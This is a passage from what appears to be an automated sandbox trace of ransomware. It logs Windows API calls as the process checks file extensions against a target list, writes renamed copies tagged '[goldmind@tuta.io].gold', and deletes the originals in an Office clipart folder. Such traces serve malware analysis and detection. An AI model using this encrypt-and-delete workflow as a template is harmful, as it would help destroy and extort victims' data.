(hObject=0x38c) returned 1 [0101.319] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.319] SetEndOfFile (hFile=0x3c0) returned 1 [0101.320] CloseHandle (hObject=0x3c0) returned 1 [0101.321] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.321] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg")) returned 1 [0101.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0101.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0101.321] lstrlenW (lpString=".doc") returned 4 [0101.321] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0101.321] lstrlenW (lpString=".docx") returned 5 [0101.321] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0101.321] lstrlenW (lpString=".pdf") returned 4 [0101.321] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0101.321] lstrlenW (lpString=".xls") returned 4 [0101.322] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0101.322] lstrlenW (lpString=".xlsx") returned 5 [0101.322] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0101.322] lstrlenW (lpString=".ppt") returned 4 [0101.322] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0101.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0101.322] lstrlenW (lpString=".zip") returned 4 [0101.322] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0101.322] lstrlenW (lpString=".rar") returned 4 [0101.322] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0101.322] lstrlenW (lpString=".bz2") returned 4 [0101.322] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0101.322] lstrlenW (lpString=".7z") returned 3 [0101.322] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0101.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0101.322] lstrlenW (lpString=".dbf") returned 4 [0101.322] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0101.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0101.322] lstrlenW (lpString=".1cd") returned 4 [0101.322] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0101.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0101.322] lstrlenW (lpString=".jpg") returned 4 [0101.322] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0101.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0101.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0101.322] lstrlenW (lpString=".doc") returned 4 [0101.322] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0101.322] lstrlenW (lpString=".docx") returned 5 [0101.322] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0101.322] lstrlenW (lpString=".pdf") returned 4 [0101.322] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0101.322] lstrlenW (lpString=".xls") returned 4 [0101.322] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0101.322] lstrlenW (lpString=".xlsx") returned 5 [0101.322] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0101.322] lstrlenW (lpString=".ppt") returned 4 [0101.322] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0101.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0101.322] lstrlenW (lpString=".zip") returned 4 [0101.322] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0101.322] lstrlenW (lpString=".rar") returned 4 [0101.322] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0101.322] lstrlenW (lpString=".bz2") returned 4 [0101.322] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0101.322] lstrlenW (lpString=".7z") returned 3 [0101.322] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0101.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0101.322] lstrlenW (lpString=".dbf") returned 4 [0101.322] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0101.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0101.322] lstrlenW (lpString=".1cd") returned 4 [0101.322] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0101.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0101.322] lstrlenW (lpString=".jpg") returned 4 [0101.322] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0101.323] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0101.323] lstrlenW (lpString="J0099146.WMF") returned 12 [0101.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0101.323] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=16596) returned 1 [0101.323] CloseHandle (hObject=0x3c0) returned 1 [0101.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf")) returned 0x20 [0101.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0101.324] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.324] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0101.326] GetLastError () returned 0x0 [0101.326] ReadFile (in: hFile=0x3c0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x40d4, lpOverlapped=0x0) returned 1 [0101.328] WriteFile (in: hFile=0x38c, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x40e0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x40e0, lpOverlapped=0x0) returned 1 [0101.329] ReadFile (in: hFile=0x3c0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.329] WriteFile (in: hFile=0x38c, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0101.329] SetEndOfFile (hFile=0x38c) returned 1 [0101.329] CloseHandle (hObject=0x38c) returned 1 [0101.329] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.329] SetEndOfFile (hFile=0x3c0) returned 1 [0101.331] CloseHandle (hObject=0x3c0) returned 1 [0101.331] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.332] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf")) returned 1 [0101.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0101.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0101.332] lstrlenW (lpString=".doc") returned 4 [0101.332] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.332] lstrlenW (lpString=".docx") returned 5 [0101.332] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0101.332] lstrlenW (lpString=".pdf") returned 4 [0101.332] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.332] lstrlenW (lpString=".xls") returned 4 [0101.332] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.332] lstrlenW (lpString=".xlsx") returned 5 [0101.332] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0101.332] lstrlenW (lpString=".ppt") returned 4 [0101.332] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0101.332] lstrlenW (lpString=".zip") returned 4 [0101.332] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.333] lstrlenW (lpString=".rar") returned 4 [0101.333] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.333] lstrlenW (lpString=".bz2") returned 4 [0101.333] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.333] lstrlenW (lpString=".7z") returned 3 [0101.333] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0101.333] lstrlenW (lpString=".dbf") returned 4 [0101.333] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0101.333] lstrlenW (lpString=".1cd") returned 4 [0101.333] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0101.333] lstrlenW (lpString=".jpg") returned 4 [0101.333] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0101.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0101.333] lstrlenW (lpString=".doc") returned 4 [0101.333] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.333] lstrlenW (lpString=".docx") returned 5 [0101.333] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0101.333] lstrlenW (lpString=".pdf") returned 4 [0101.333] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.333] lstrlenW (lpString=".xls") returned 4 [0101.333] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.333] lstrlenW (lpString=".xlsx") returned 5 [0101.333] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0101.333] lstrlenW (lpString=".ppt") returned 4 [0101.333] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0101.333] lstrlenW (lpString=".zip") returned 4 [0101.333] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.333] lstrlenW (lpString=".rar") returned 4 [0101.333] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.333] lstrlenW (lpString=".bz2") returned 4 [0101.333] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.333] lstrlenW (lpString=".7z") returned 3 [0101.333] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0101.333] lstrlenW (lpString=".dbf") returned 4 [0101.333] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0101.333] lstrlenW (lpString=".1cd") returned 4 [0101.333] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0101.333] lstrlenW (lpString=".jpg") returned 4 [0101.334] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.334] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0101.334] lstrlenW (lpString="J0099147.JPG") returned 12 [0101.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0101.334] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=24377) returned 1 [0101.334] CloseHandle (hObject=0x3c0) returned 1 [0101.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg")) returned 0x20 [0101.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0101.335] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.335] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0101.335] GetLastError () returned 0x0 [0101.335] ReadFile (in: hFile=0x3c0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x5f39, lpOverlapped=0x0) returned 1 [0101.342] WriteFile (in: hFile=0x38c, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x5f40, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x5f40, lpOverlapped=0x0) returned 1 [0101.343] ReadFile (in: hFile=0x3c0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.343] WriteFile (in: hFile=0x38c, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0101.343] SetEndOfFile (hFile=0x38c) returned 1 [0101.343] CloseHandle (hObject=0x38c) returned 1 [0101.344] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.344] SetEndOfFile (hFile=0x3c0) returned 1 [0101.348] CloseHandle (hObject=0x3c0) returned 1 [0101.348] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.348] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg")) returned 1 [0101.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0101.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0101.349] lstrlenW (lpString=".doc") returned 4 [0101.349] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0101.349] lstrlenW (lpString=".docx") returned 5 [0101.349] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0101.349] lstrlenW (lpString=".pdf") returned 4 [0101.349] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0101.349] lstrlenW (lpString=".xls") returned 4 [0101.349] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0101.349] lstrlenW (lpString=".xlsx") returned 5 [0101.349] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0101.349] lstrlenW (lpString=".ppt") returned 4 [0101.349] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0101.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0101.349] lstrlenW (lpString=".zip") returned 4 [0101.349] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0101.349] lstrlenW (lpString=".rar") returned 4 [0101.349] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0101.349] lstrlenW (lpString=".bz2") returned 4 [0101.349] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0101.349] lstrlenW (lpString=".7z") returned 3 [0101.349] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0101.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0101.349] lstrlenW (lpString=".dbf") returned 4 [0101.349] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0101.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0101.349] lstrlenW (lpString=".1cd") returned 4 [0101.349] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0101.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0101.349] lstrlenW (lpString=".jpg") returned 4 [0101.349] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0101.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0101.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0101.349] lstrlenW (lpString=".doc") returned 4 [0101.349] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0101.349] lstrlenW (lpString=".docx") returned 5 [0101.349] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0101.349] lstrlenW (lpString=".pdf") returned 4 [0101.349] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0101.349] lstrlenW (lpString=".xls") returned 4 [0101.349] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0101.350] lstrlenW (lpString=".xlsx") returned 5 [0101.350] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0101.350] lstrlenW (lpString=".ppt") returned 4 [0101.350] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0101.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0101.350] lstrlenW (lpString=".zip") returned 4 [0101.350] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0101.350] lstrlenW (lpString=".rar") returned 4 [0101.350] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0101.350] lstrlenW (lpString=".bz2") returned 4 [0101.350] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0101.350] lstrlenW (lpString=".7z") returned 3 [0101.350] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0101.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0101.350] lstrlenW (lpString=".dbf") returned 4 [0101.350] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0101.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0101.350] lstrlenW (lpString=".1cd") returned 4 [0101.350] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0101.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0101.350] lstrlenW (lpString=".jpg") returned 4 [0101.350] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0101.350] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0101.350] lstrlenW (lpString="J0099148.JPG") returned 12 [0101.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0101.351] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=18258) returned 1 [0101.351] CloseHandle (hObject=0x3c0) returned 1 [0101.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg")) returned 0x20 [0101.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0101.351] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.351] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0101.352] GetLastError () returned 0x0 [0101.352] ReadFile (in: hFile=0x3c0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x4752, lpOverlapped=0x0) returned 1 [0101.353] WriteFile (in: hFile=0x38c, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x4760, lpOverlapped=0x0) returned 1 [0101.354] ReadFile (in: hFile=0x3c0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.354] WriteFile (in: hFile=0x38c, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0101.354] SetEndOfFile (hFile=0x38c) returned 1 [0101.354] CloseHandle (hObject=0x38c) returned 1 [0101.354] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.355] SetEndOfFile (hFile=0x3c0) returned 1 [0101.356] CloseHandle (hObject=0x3c0) returned 1 [0101.356] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.357] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg")) returned 1 [0101.357] lstrlenW (lpString="C:\\Program Files\\Microsoft 